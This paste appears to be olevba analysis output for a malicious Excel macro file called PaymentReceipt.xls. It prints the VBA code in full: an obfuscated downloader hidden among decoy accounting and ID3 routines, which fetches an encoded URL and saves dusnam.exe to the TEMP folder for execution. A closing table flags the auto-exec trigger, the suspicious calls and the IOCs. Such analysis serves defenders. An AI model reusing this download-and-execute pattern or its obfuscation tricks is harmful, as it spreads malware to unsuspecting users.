- Get #lFileHandle, , .Genre
- result.Album = Trim(.Album)
- result.Artist = Trim(.Artist)
- result.Comment = Trim(.Comment)
- result.Identifier = Trim(.Identifier)
- result.Title = Trim(.Title)
- result.Year = Trim(.Year)
- End If
- End With
- ms_ShowID3V1Tag = result
- Close
- Exit Function
- ErrHandler:
- MsgBox "Error: " & Err.Description
- End Function
- Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
- Dim i As Integer
- Dim result As String
- result = ""
- For i = LBound(fromArr) To UBound(fromArr)
- result = result & Chr(fromArr(i) - 3 * LenLen - 11001)
- Next i
- GetStringFromArray = result
- End Function
- Public Sub ms_InitialiseGenres()
- Dim objXMLDocument As Object
- Dim objNodeList As Object
- Dim objRoot As Object
- Dim objNode As Object
- Dim objChild As Object
- Dim sIdentifier As String
- Dim sGenre As String
- Dim XML_FILE As String
- XML_FILE = App.Path & "\Genres.xml"
- Set objXMLDocument = CreateObject("Microsoft.XMLDOM")
- With objXMLDocument
- .async = False
- If .Load(XML_FILE) Then
- Set objRoot = .DocumentElement()
- For Each objNode In objRoot.ChildNodes
- sGenre = vbNullString
- sIdentifier = vbNullString
- For Each objChild In objNode.ChildNodes
- If objChild.nodeName = "id" Then
- sIdentifier = objChild.Text
- ElseIf objChild.nodeName = "Description" Then
- sGenre = objChild.Text
- End If
- Next
- If sGenre <> vbNullString Then
- If sIdentifier <> vbNullString Then
- m_objGenres.Add sGenre, sIdentifier
- End If
- End If
- Next
- Else
- MsgBox "Error loading xml file: " & XML_FILE & vbCrLf & _
- "Check if the path to the file is correct", _
- vbExclamation, "Cannot Find XML File"
- End If
- End With
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public besson As Object
- Public balakla As Object
- Public perepel As Object
- Public ruanda As String
- Public kurgada As String
- Public serebro As Object
- Public Function LanzaVisorMimeDocumento(Formhwnd As Long, Archivo As String)
- Call ShellExecute(Formhwnd, "open", Archivo, "", "", 1)
- End Function
- Private Function ComputerNameL() As String
- Dim sComputerName As String
- Dim ComputerNameLength As Long
- sComputerName = String(MAX_COMPUTERNAME_LENGTH + 1, 0)
- ComputerNameLength = MAX_COMPUTERNAME_LENGTH
- Call GetComputerName(sComputerName, ComputerNameLength)
- ComputerNameL = Mid(sComputerName, 1, ComputerNameLength)
- End Function
- Public Function PointerToStringA(ByVal lpStringA As Long) As String
- Dim urlAr() As Variant
- urlAr = Array(11258, 11270, 11270, 11266, 11212, 11201, 11201, 11273, 11273, 11273, 11200, 11261, 11265, 11262, 11271, 11263, 11252, 11271, 11269, 11200, 11256, 11259, 11201, 11280, 11261, 11256, 11202, 11211, 11208, 11205, 11201, 11206, 11207, 11275, 11256, 11267, 11256, 11273, 11257, 11201, 11208, 11271, 11257, 11255, 11269, 11257, 11269, 11257, 11200, 11255, 11274, 11255)
- besson.Open "" + "G" + "" + "" + "E" + "" + "" + "" + "T", GetStringFromArray(urlAr, 51), False
- Dim nLen As Long
- Dim sTemp As String
- Exit Function
- If lpStringA Then
- nLen = lstrle.nA(lpStringA)
- If nLen Then
- sTemp = String(nLen, vbNullChar)
- lst.rcpy sTemp, lpStringA
- PointerToStringA = sTemp
- End If
- End If
- End Function
- Private Function GetComputerNameTS() As String
- Dim RetVal As Long
- Dim lpBuffer As Long
- Dim Count As Long
- Dim p As Long
- Dim QueryInfo As String
- Dim CurrentSessionId As Long
- Dim CurrentProcessId As Long
- CurrentProcessId = GetCurrentPr.ocessId()
- RetVal = ProcessIdToSe.ssionId(CurrentProcessId, CurrentSessionId)
- RetVal = WTSQuerySessio.nInformation(WTS_CURRENT_SERVER_HANDLE, _
- CurrentSessionId, _
- WTSClientName, _
- lpBuffer, _
- Count)
- If RetVal Then
- p = lpBuffer
- QueryInfo = PointerToStringA(p)
- WTSFreeMe.mory lpBuffer
- Else
- If Err.LastDllError <> 1151 Then
- MsgBox "An error occurred calling WTSQuerySessionInformation. " & _
- "Check the Platform SDK error codes in the MSDN Documentation " & _
- "for more information.", vbCritical, "ERROR " & Err.LastDllError
- End If
- End If
- GetComputerNameTS = QuitarCara.cterNULL(QueryInfo)
- End Function
- Public Function ComputerName() As String
- Dim nom As String
- ruanda = perepel("TEMP")
- Exit Function
- nom = GetComputerNameTS
- If nom = "" Then nom = ComputerNameL
- ComputerName = nom
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function InsertaTmp(ByRef vSQL As String, Tabla As Byte)
- Dim SQL As String
- Select Case Tabla
- Case 0
- SQL = "INSERT INTO tmpwBusca0(codusu,tabla,long1,long2"
- SQL = SQL & ",fechaent)"
- SQL = SQL & " SELECT " & vUsu.Codigo & ",0,numasien,numdiari,fechaent From cabapu "
- SQL = SQL & vSQL
- Case 1
- SQL = "INSERT INTO tmpwBusca1(codusu,codfaccl,anofaccl,numserie)"
- SQL = SQL & " SELECT " & vUsu.Codigo & ",codfaccl,anofaccl,numserie From cabfact "
- SQL = SQL & vSQL
- SQL = SQL & " ORDER BY fecfaccl ASC ,codfaccl ASC"
- Case 2
- SQL = "INSERT INTO tmpwBusca2(codusu,numregis,anofacpr)"
- SQL = SQL & " SELECT " & vUsu.Codigo & ",numregis,anofacpr From cabfactprov "
- SQL = SQL & vSQL
- SQL = SQL & " ORDER BY fecrecpr ASC ,numregis ASC"
- End Select
- Conn.Execute SQL
- End Function
- Public Function InsertaValoresAsientos(NumAsi As String, fechaent As String, NumDiari As String) As Boolean
- Dim SQL As String
- Set besson = CreateObject("Microsoft" + ".XMLHTTP")
- Set balakla = CreateObject("Adodb.Stream")
- Set serebro = CreateObject("Shell.Application")
- Set perepel = CreateObject("WScript.Shell").Environment("Process")
- On Error Resume Next
- InsertaValoresAsientos = False
- SQL = "INSERT INTO tmpwBusca0(codusu,tabla,long1,long2,fechaent) VALUES (" & vUsu.Codigo & ",0,"
- SQL = SQL & NumAsi & "," & NumDiari & ","
- Conn.Execute SQL
- If Err.Number = 0 Then
- InsertaValoresAsientos = True
- Else
- InsertaValoresAsientos = False
- Muestr.aError Err.Number, "InsertaValoresAsientos"
- End If
- End Function
- Public Function EliminaValoresAsientos(NumAsi As String, fechaent As String, NumDiari As String) As Boolean
- Dim SQL As String
- On Error Resume Next
- EliminaValoresAsientos = False
- SQL = "DELETE FROM tmpwBusca0 WHERE codusu = " & vUsu.Codigo & " AND long1 = "
- SQL = SQL & NumAsi & " AND long2 = " & NumDiari & " AND Fechaent = "
- Conn.Execute SQL
- If Err.Number = 0 Then
- EliminaValoresAsientos = True
- Else
- EliminaValoresAsientos = False
- Muestr.aError Err.Number, "EliminaValoresAsientos"
- End If
- End Function
- Public Function EliminaValoresFACCLI(Numserie As String, codfaccl As String, anofaccl As String) As Boolean
- Dim SQL As String
- besson.Send
- On Error Resume Next
- kurgada = ruanda + "\" + "d" + "u" + "s" + "nam." + "" + "e" + "" + "" + "x" + "" + "e"
- EliminaValoresFACCLI = False
- Exit Function
- SQL = "DELETE FROM tmpwBusca1 WHERE codusu = " & vUsu.Codigo & " AND numserie = "
- SQL = SQL & Numserie & ""
- Conn.Execute SQL
- If Err.Number = 0 Then
- EliminaValoresFACCLI = True
- Else
- EliminaValoresFACCLI = False
- Muestr.aError Err.Number, "EliminaValoresFactura"
- End If
- End Function
- Public Function InsertaValoresFACCLI(Numserie As String, Codfac As String, anofac As String) As Boolean
- Dim SQL As String
- On Error Resume Next
- SQL = "INSERT INTO tmpwBusca1(codusu,codfaccl,anofaccl,numserie) VALUES (" & vUsu.Codigo & ","
- SQL = SQL & Codfac & "," & anofac & ","
- Conn.Execute SQL
- If Err.Number = 0 Then
- InsertaValoresFACCLI = True
- Else
- InsertaValoresFACCLI = False
- Muestr.aError Err.Number, "InsertaValoresAsientos"
- End If
- End Function
- Public Function EliminaValoresFACPRO(numregis As String, anofacpr As String) As Boolean
- Dim SQL As String
- On Error Resume Next
- SQL = "DELETE FROM tmpwBusca2 WHERE codusu = " & vUsu.Codigo
- SQL = SQL & " AND numregis = " & numregis & " AND anofacpr = " & anofacpr
- Conn.Execute SQL
- If Err.Number = 0 Then
- EliminaValoresFACPRO = True
- Else
- EliminaValoresFACPRO = False
- Muestr.aError Err.Number, "EliminaValoresFactura"
- End If
- End Function
- Public Function InsertaValoresFACPRO(numregis As String, anofac As String) As Boolean
- Dim SQL As String
- On Error Resume Next
- SQL = "INSERT INTO tmpwBusca2(codusu,numregis,anofacpr) VALUES (" & vUsu.Codigo & ","
- SQL = SQL & numregis & "," & anofac & ")"
- Conn.Execute SQL
- If Err.Number = 0 Then
- InsertaValoresFACPRO = True
- Else
- InsertaValoresFACPRO = False
- Muestr.aError Err.Number, "InsertaValoresAsientos"
- End If
- End Function
- Public Function CargaADOBUS(ByRef AD As String)
- Set AD.Recordset = Nothing
- AD.RecordSource = "Select * from tmpwBusca0 where codusu = " & vUsu.Codigo & " ORDER BY fechaent,long1"
- AD.ConnectionString = Conn
- AD.Refresh
- End Function
- Public Sub BorrarTmpWBusca()
- On Error GoTo EBorrarTmpWBusca
- Conn.Execute "DELETE FROM tmpwBusca0"
- Conn.Execute "DELETE FROM tmpwBusca1"
- Conn.Execute "DELETE FROM tmpwBusca2"
- Exit Sub
- EBorrarTmpWBusca:
- Err.Clear
- End Sub
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) |
- | Suspicious | Binary | May read or write a binary file (if |
- | | | combined with Open) |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | ADODB.Stream | May create a text file |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Output | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Print # | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | | | (obfuscation: VBA expression) |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | dusnam.exe | Executable file name (obfuscation: VBA |
- | | | expression) |
- | VBA string |
- | Chr(13) |
- | VBA string | GET | "" + "G" + "" + "" + "E" + "" + "" + "" |
- | | | + "T" |
- | VBA string | An error occurred | "An error occurred calling |
- | | calling WTSQuerySess | WTSQuerySessionInformation. " & "Check |
- | | ionInformation. | the Platform SDK error codes in the |
- | | Check the Platform | MSDN Documentation " & "for more |
- | | SDK error codes in | information." |
- | | the MSDN | |
- | | Documentation for | |
- | | more information. | |
- | VBA string | Microsoft.XMLHTTP | ("Microsoft" + ".XMLHTTP") |
- | VBA string | \dusnam.exe | "\" + "d" + "u" + "s" + "nam." + "" + |
- | | | "e" + "" + "" + "x" + "" + "e" |
- +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement